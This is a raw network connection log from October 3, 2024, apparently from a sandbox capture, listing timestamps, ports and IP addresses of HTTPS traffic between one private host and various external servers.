Oct 3, 2024 17:19:54.237574100 CEST	443	56088	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:54.238271952 CEST	443	56088	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:54.238300085 CEST	443	56088	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:54.238317966 CEST	56088	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:54.238325119 CEST	443	56088	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:54.238367081 CEST	56088	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:54.238775015 CEST	443	56088	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:54.239407063 CEST	443	56088	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:54.239474058 CEST	56088	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:54.239475012 CEST	443	56088	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:54.239526987 CEST	56088	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:54.239737988 CEST	56088	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:54.239748001 CEST	443	56088	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:54.244029999 CEST	443	56083	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:54.244287014 CEST	56083	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:54.244306087 CEST	443	56083	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:54.245292902 CEST	443	56083	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:54.245376110 CEST	56083	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:54.245759010 CEST	56083	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:54.245820045 CEST	443	56083	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:54.246249914 CEST	56083	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:54.246259928 CEST	443	56083	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:54.277106047 CEST	443	56085	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.277390957 CEST	56085	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.277415991 CEST	443	56085	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.278393030 CEST	443	56085	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.278495073 CEST	56085	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.278788090 CEST	56085	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.278845072 CEST	443	56085	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.278928995 CEST	56085	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.278937101 CEST	443	56085	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.281296968 CEST	443	56084	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.281481028 CEST	56084	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.281507969 CEST	443	56084	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.282917976 CEST	443	56084	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.283077955 CEST	56084	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.283221006 CEST	56084	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.283286095 CEST	443	56084	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.283329964 CEST	56084	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.283354044 CEST	443	56084	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.293495893 CEST	56083	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:54.307876110 CEST	443	56089	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.308104038 CEST	56089	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.308139086 CEST	443	56089	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.311696053 CEST	443	56089	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.312553883 CEST	56089	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.312844992 CEST	56089	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.312983990 CEST	56089	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.313036919 CEST	443	56089	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.313397884 CEST	443	56091	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:54.313841105 CEST	443	56091	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:54.313904047 CEST	56091	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:54.313927889 CEST	443	56091	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:54.314019918 CEST	443	56091	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:54.314028025 CEST	56091	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:54.314049006 CEST	443	56091	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:54.314073086 CEST	56091	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:54.314095974 CEST	56091	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:54.314105034 CEST	56091	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:54.316056967 CEST	443	56086	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.316348076 CEST	56086	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.316358089 CEST	443	56086	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.318713903 CEST	443	56087	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.319083929 CEST	56087	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.319098949 CEST	443	56087	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.320065022 CEST	443	56086	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.320122957 CEST	443	56087	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.320149899 CEST	56086	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.320204973 CEST	56087	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.320596933 CEST	56086	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.320772886 CEST	443	56086	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.320997000 CEST	56087	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.321055889 CEST	443	56087	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.321209908 CEST	56086	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.321218014 CEST	443	56086	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.321341038 CEST	56087	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.321347952 CEST	443	56087	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.323309898 CEST	443	56090	216.58.206.46	192.168.2.17
Oct 3, 2024 17:19:54.323529005 CEST	56090	443	192.168.2.17	216.58.206.46
Oct 3, 2024 17:19:54.323543072 CEST	443	56090	216.58.206.46	192.168.2.17
Oct 3, 2024 17:19:54.323904037 CEST	443	56090	216.58.206.46	192.168.2.17
Oct 3, 2024 17:19:54.323980093 CEST	56090	443	192.168.2.17	216.58.206.46
Oct 3, 2024 17:19:54.324592113 CEST	443	56090	216.58.206.46	192.168.2.17
Oct 3, 2024 17:19:54.324671984 CEST	56090	443	192.168.2.17	216.58.206.46
Oct 3, 2024 17:19:54.325520039 CEST	56085	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.325630903 CEST	56084	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.325639009 CEST	443	56084	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.325910091 CEST	56090	443	192.168.2.17	216.58.206.46
Oct 3, 2024 17:19:54.325957060 CEST	443	56090	216.58.206.46	192.168.2.17
Oct 3, 2024 17:19:54.326284885 CEST	56090	443	192.168.2.17	216.58.206.46
Oct 3, 2024 17:19:54.326289892 CEST	443	56090	216.58.206.46	192.168.2.17
Oct 3, 2024 17:19:54.326672077 CEST	56098	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:54.326699018 CEST	443	56098	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:54.326767921 CEST	56098	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:54.326991081 CEST	56098	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:54.327001095 CEST	443	56098	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:54.356518984 CEST	56089	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.356544018 CEST	443	56089	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.371494055 CEST	56084	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.371495962 CEST	56086	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.371521950 CEST	56087	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.371527910 CEST	56090	443	192.168.2.17	216.58.206.46
Oct 3, 2024 17:19:54.403552055 CEST	56089	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.497267962 CEST	443	56092	63.140.62.27	192.168.2.17
Oct 3, 2024 17:19:54.497672081 CEST	56092	443	192.168.2.17	63.140.62.27
Oct 3, 2024 17:19:54.497695923 CEST	443	56092	63.140.62.27	192.168.2.17
Oct 3, 2024 17:19:54.499411106 CEST	443	56092	63.140.62.27	192.168.2.17
Oct 3, 2024 17:19:54.499510050 CEST	56092	443	192.168.2.17	63.140.62.27
Oct 3, 2024 17:19:54.500848055 CEST	56092	443	192.168.2.17	63.140.62.27
Oct 3, 2024 17:19:54.500929117 CEST	443	56092	63.140.62.27	192.168.2.17
Oct 3, 2024 17:19:54.501194954 CEST	56092	443	192.168.2.17	63.140.62.27
Oct 3, 2024 17:19:54.501209974 CEST	443	56092	63.140.62.27	192.168.2.17
Oct 3, 2024 17:19:54.507462978 CEST	443	56085	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.507669926 CEST	443	56085	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.507735014 CEST	56085	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.507752895 CEST	443	56085	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.507837057 CEST	443	56085	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.507883072 CEST	56085	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.508227110 CEST	443	56085	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.513252020 CEST	443	56085	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.513353109 CEST	56085	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.513385057 CEST	443	56085	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.513592958 CEST	443	56085	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.513655901 CEST	56085	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.513670921 CEST	443	56085	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.519642115 CEST	443	56085	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.519726992 CEST	56085	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.519741058 CEST	443	56085	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.525283098 CEST	443	56083	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:54.525470972 CEST	443	56083	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:54.525536060 CEST	56083	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:54.525942087 CEST	443	56085	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.526010990 CEST	56085	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.526032925 CEST	443	56085	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.526051044 CEST	56083	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:54.526088953 CEST	443	56083	142.250.184.196	192.168.2.17
Oct 3, 2024 17:19:54.526098967 CEST	56083	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:54.526139021 CEST	56083	443	192.168.2.17	142.250.184.196
Oct 3, 2024 17:19:54.526233912 CEST	443	56085	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.526292086 CEST	56085	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.527765989 CEST	443	56084	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.527940989 CEST	443	56084	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.527978897 CEST	443	56084	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.528004885 CEST	56084	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.528072119 CEST	443	56084	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.528131962 CEST	56084	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.528436899 CEST	56085	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.528445959 CEST	443	56084	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.528464079 CEST	443	56085	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.531738043 CEST	443	56089	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.531843901 CEST	443	56089	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.531914949 CEST	56089	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.531958103 CEST	443	56089	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.532207966 CEST	443	56089	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.532288074 CEST	56089	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.532321930 CEST	443	56089	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.533785105 CEST	443	56084	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.533854961 CEST	56084	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.533883095 CEST	443	56084	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.534250021 CEST	443	56084	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.534311056 CEST	56084	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.534324884 CEST	443	56084	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.536936998 CEST	443	56089	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.537019014 CEST	56089	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.537034035 CEST	443	56089	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.537061930 CEST	443	56089	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.537117958 CEST	56089	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.537326097 CEST	443	56089	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.540421009 CEST	443	56084	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.540498018 CEST	56084	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.540513992 CEST	443	56084	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.540621996 CEST	56099	443	192.168.2.17	3.138.129.130
Oct 3, 2024 17:19:54.540685892 CEST	443	56099	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:54.540757895 CEST	56099	443	192.168.2.17	3.138.129.130
Oct 3, 2024 17:19:54.541043043 CEST	56099	443	192.168.2.17	3.138.129.130
Oct 3, 2024 17:19:54.541071892 CEST	443	56099	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:54.543536901 CEST	443	56089	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.543620110 CEST	56089	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.543642998 CEST	443	56089	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.544498920 CEST	56092	443	192.168.2.17	63.140.62.27
Oct 3, 2024 17:19:54.546447039 CEST	443	56084	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.546533108 CEST	56084	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.546555996 CEST	443	56084	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.549732924 CEST	443	56089	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.549834013 CEST	56089	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.549856901 CEST	443	56089	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.549951077 CEST	443	56089	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.550014973 CEST	56089	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.550539017 CEST	56089	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.550569057 CEST	443	56089	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.553101063 CEST	443	56084	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.553194046 CEST	56084	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.558238983 CEST	56084	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.558280945 CEST	443	56084	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.587721109 CEST	443	56087	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.587778091 CEST	443	56087	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.587975025 CEST	56087	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.588020086 CEST	443	56087	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.588176966 CEST	443	56087	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.588226080 CEST	56087	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.588232994 CEST	443	56087	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.593733072 CEST	443	56087	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.593790054 CEST	443	56087	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.593816042 CEST	56087	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.593832016 CEST	443	56087	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.593883991 CEST	56087	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.594027042 CEST	443	56087	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.600245953 CEST	443	56087	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.600316048 CEST	56087	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.600328922 CEST	443	56087	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.605493069 CEST	443	56090	216.58.206.46	192.168.2.17
Oct 3, 2024 17:19:54.605572939 CEST	443	56090	216.58.206.46	192.168.2.17
Oct 3, 2024 17:19:54.605628014 CEST	56090	443	192.168.2.17	216.58.206.46
Oct 3, 2024 17:19:54.605865002 CEST	56090	443	192.168.2.17	216.58.206.46
Oct 3, 2024 17:19:54.605882883 CEST	443	56090	216.58.206.46	192.168.2.17
Oct 3, 2024 17:19:54.605891943 CEST	56090	443	192.168.2.17	216.58.206.46
Oct 3, 2024 17:19:54.605930090 CEST	56090	443	192.168.2.17	216.58.206.46
Oct 3, 2024 17:19:54.606365919 CEST	443	56087	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.606420994 CEST	56087	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.606435061 CEST	443	56087	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.609575033 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:54.609647989 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:54.609822989 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:54.610007048 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:54.610044956 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:54.612803936 CEST	443	56087	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.612864971 CEST	56087	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.613151073 CEST	56087	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.613179922 CEST	443	56087	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.652414083 CEST	443	56086	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.652585030 CEST	443	56086	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.652667046 CEST	56086	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.652705908 CEST	443	56086	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.653002024 CEST	443	56086	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.653064013 CEST	56086	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.653079987 CEST	443	56086	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.657995939 CEST	443	56086	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.658086061 CEST	56086	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.658101082 CEST	443	56086	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.658246994 CEST	443	56086	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.658305883 CEST	56086	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.658320904 CEST	443	56086	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.661686897 CEST	443	56094	98.82.156.107	192.168.2.17
Oct 3, 2024 17:19:54.661981106 CEST	56094	443	192.168.2.17	98.82.156.107
Oct 3, 2024 17:19:54.662058115 CEST	443	56094	98.82.156.107	192.168.2.17
Oct 3, 2024 17:19:54.663537979 CEST	443	56094	98.82.156.107	192.168.2.17
Oct 3, 2024 17:19:54.663666010 CEST	56094	443	192.168.2.17	98.82.156.107
Oct 3, 2024 17:19:54.664619923 CEST	443	56086	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.664700031 CEST	56086	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.664714098 CEST	443	56086	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.664839029 CEST	56094	443	192.168.2.17	98.82.156.107
Oct 3, 2024 17:19:54.664920092 CEST	443	56094	98.82.156.107	192.168.2.17
Oct 3, 2024 17:19:54.665374041 CEST	56094	443	192.168.2.17	98.82.156.107
Oct 3, 2024 17:19:54.665381908 CEST	443	56094	98.82.156.107	192.168.2.17
Oct 3, 2024 17:19:54.670845985 CEST	443	56086	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.670906067 CEST	56086	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.670921087 CEST	443	56086	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.677037954 CEST	443	56086	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.677105904 CEST	56086	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.678246975 CEST	56086	443	192.168.2.17	172.217.18.98
Oct 3, 2024 17:19:54.678272963 CEST	443	56086	172.217.18.98	192.168.2.17
Oct 3, 2024 17:19:54.719506979 CEST	56094	443	192.168.2.17	98.82.156.107
Oct 3, 2024 17:19:54.724803925 CEST	443	56093	46.137.24.228	192.168.2.17
Oct 3, 2024 17:19:54.733635902 CEST	56093	443	192.168.2.17	46.137.24.228
Oct 3, 2024 17:19:54.733659983 CEST	443	56093	46.137.24.228	192.168.2.17
Oct 3, 2024 17:19:54.734051943 CEST	443	56093	46.137.24.228	192.168.2.17
Oct 3, 2024 17:19:54.734611034 CEST	56093	443	192.168.2.17	46.137.24.228
Oct 3, 2024 17:19:54.734680891 CEST	443	56093	46.137.24.228	192.168.2.17
Oct 3, 2024 17:19:54.734896898 CEST	56093	443	192.168.2.17	46.137.24.228
Oct 3, 2024 17:19:54.771167994 CEST	443	56092	63.140.62.27	192.168.2.17
Oct 3, 2024 17:19:54.771321058 CEST	443	56092	63.140.62.27	192.168.2.17
Oct 3, 2024 17:19:54.771390915 CEST	56092	443	192.168.2.17	63.140.62.27
Oct 3, 2024 17:19:54.773753881 CEST	56092	443	192.168.2.17	63.140.62.27
Oct 3, 2024 17:19:54.773773909 CEST	443	56092	63.140.62.27	192.168.2.17
Oct 3, 2024 17:19:54.775557995 CEST	443	56094	98.82.156.107	192.168.2.17
Oct 3, 2024 17:19:54.775693893 CEST	443	56094	98.82.156.107	192.168.2.17
Oct 3, 2024 17:19:54.775748014 CEST	56094	443	192.168.2.17	98.82.156.107
Oct 3, 2024 17:19:54.776860952 CEST	56101	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:54.776892900 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:54.776959896 CEST	56101	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:54.777195930 CEST	56101	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:54.777206898 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:54.779408932 CEST	443	56093	46.137.24.228	192.168.2.17
Oct 3, 2024 17:19:54.782258034 CEST	56094	443	192.168.2.17	98.82.156.107
Oct 3, 2024 17:19:54.782284021 CEST	443	56094	98.82.156.107	192.168.2.17
Oct 3, 2024 17:19:54.785825968 CEST	56102	443	192.168.2.17	98.82.156.107
Oct 3, 2024 17:19:54.785913944 CEST	443	56102	98.82.156.107	192.168.2.17
Oct 3, 2024 17:19:54.786010027 CEST	56102	443	192.168.2.17	98.82.156.107
Oct 3, 2024 17:19:54.788108110 CEST	56102	443	192.168.2.17	98.82.156.107
Oct 3, 2024 17:19:54.788146973 CEST	443	56102	98.82.156.107	192.168.2.17
Oct 3, 2024 17:19:54.799233913 CEST	443	56095	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:54.800018072 CEST	56095	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:54.800043106 CEST	443	56095	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:54.803462029 CEST	443	56095	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:54.803531885 CEST	56095	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:54.805826902 CEST	56095	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:54.805929899 CEST	443	56095	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:54.806282997 CEST	56095	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:54.806293011 CEST	443	56095	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:54.806922913 CEST	443	56097	63.140.62.222	192.168.2.17
Oct 3, 2024 17:19:54.807471037 CEST	443	56098	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:54.809155941 CEST	56098	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:54.809169054 CEST	443	56098	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:54.809174061 CEST	56097	443	192.168.2.17	63.140.62.222
Oct 3, 2024 17:19:54.809237003 CEST	443	56097	63.140.62.222	192.168.2.17
Oct 3, 2024 17:19:54.810700893 CEST	443	56097	63.140.62.222	192.168.2.17
Oct 3, 2024 17:19:54.810765028 CEST	56097	443	192.168.2.17	63.140.62.222
Oct 3, 2024 17:19:54.812612057 CEST	56097	443	192.168.2.17	63.140.62.222
Oct 3, 2024 17:19:54.812716961 CEST	443	56098	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:54.812768936 CEST	56098	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:54.812772989 CEST	443	56097	63.140.62.222	192.168.2.17
Oct 3, 2024 17:19:54.817320108 CEST	56098	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:54.817382097 CEST	443	56098	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:54.817640066 CEST	56097	443	192.168.2.17	63.140.62.222
Oct 3, 2024 17:19:54.817661047 CEST	443	56097	63.140.62.222	192.168.2.17
Oct 3, 2024 17:19:54.817755938 CEST	56097	443	192.168.2.17	63.140.62.222
Oct 3, 2024 17:19:54.817804098 CEST	443	56097	63.140.62.222	192.168.2.17
Oct 3, 2024 17:19:54.820100069 CEST	56098	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:54.820106030 CEST	443	56098	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:54.846757889 CEST	56095	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:54.861476898 CEST	56098	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:54.947547913 CEST	443	56098	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:54.947995901 CEST	443	56098	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:54.948091984 CEST	56098	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:54.948416948 CEST	56098	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:54.948432922 CEST	443	56098	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:54.979006052 CEST	56103	443	192.168.2.17	63.140.62.17
Oct 3, 2024 17:19:54.979111910 CEST	443	56103	63.140.62.17	192.168.2.17
Oct 3, 2024 17:19:54.979223013 CEST	56103	443	192.168.2.17	63.140.62.17
Oct 3, 2024 17:19:54.979439020 CEST	56103	443	192.168.2.17	63.140.62.17
Oct 3, 2024 17:19:54.979473114 CEST	443	56103	63.140.62.17	192.168.2.17
Oct 3, 2024 17:19:54.982732058 CEST	443	56093	46.137.24.228	192.168.2.17
Oct 3, 2024 17:19:54.982805967 CEST	443	56093	46.137.24.228	192.168.2.17
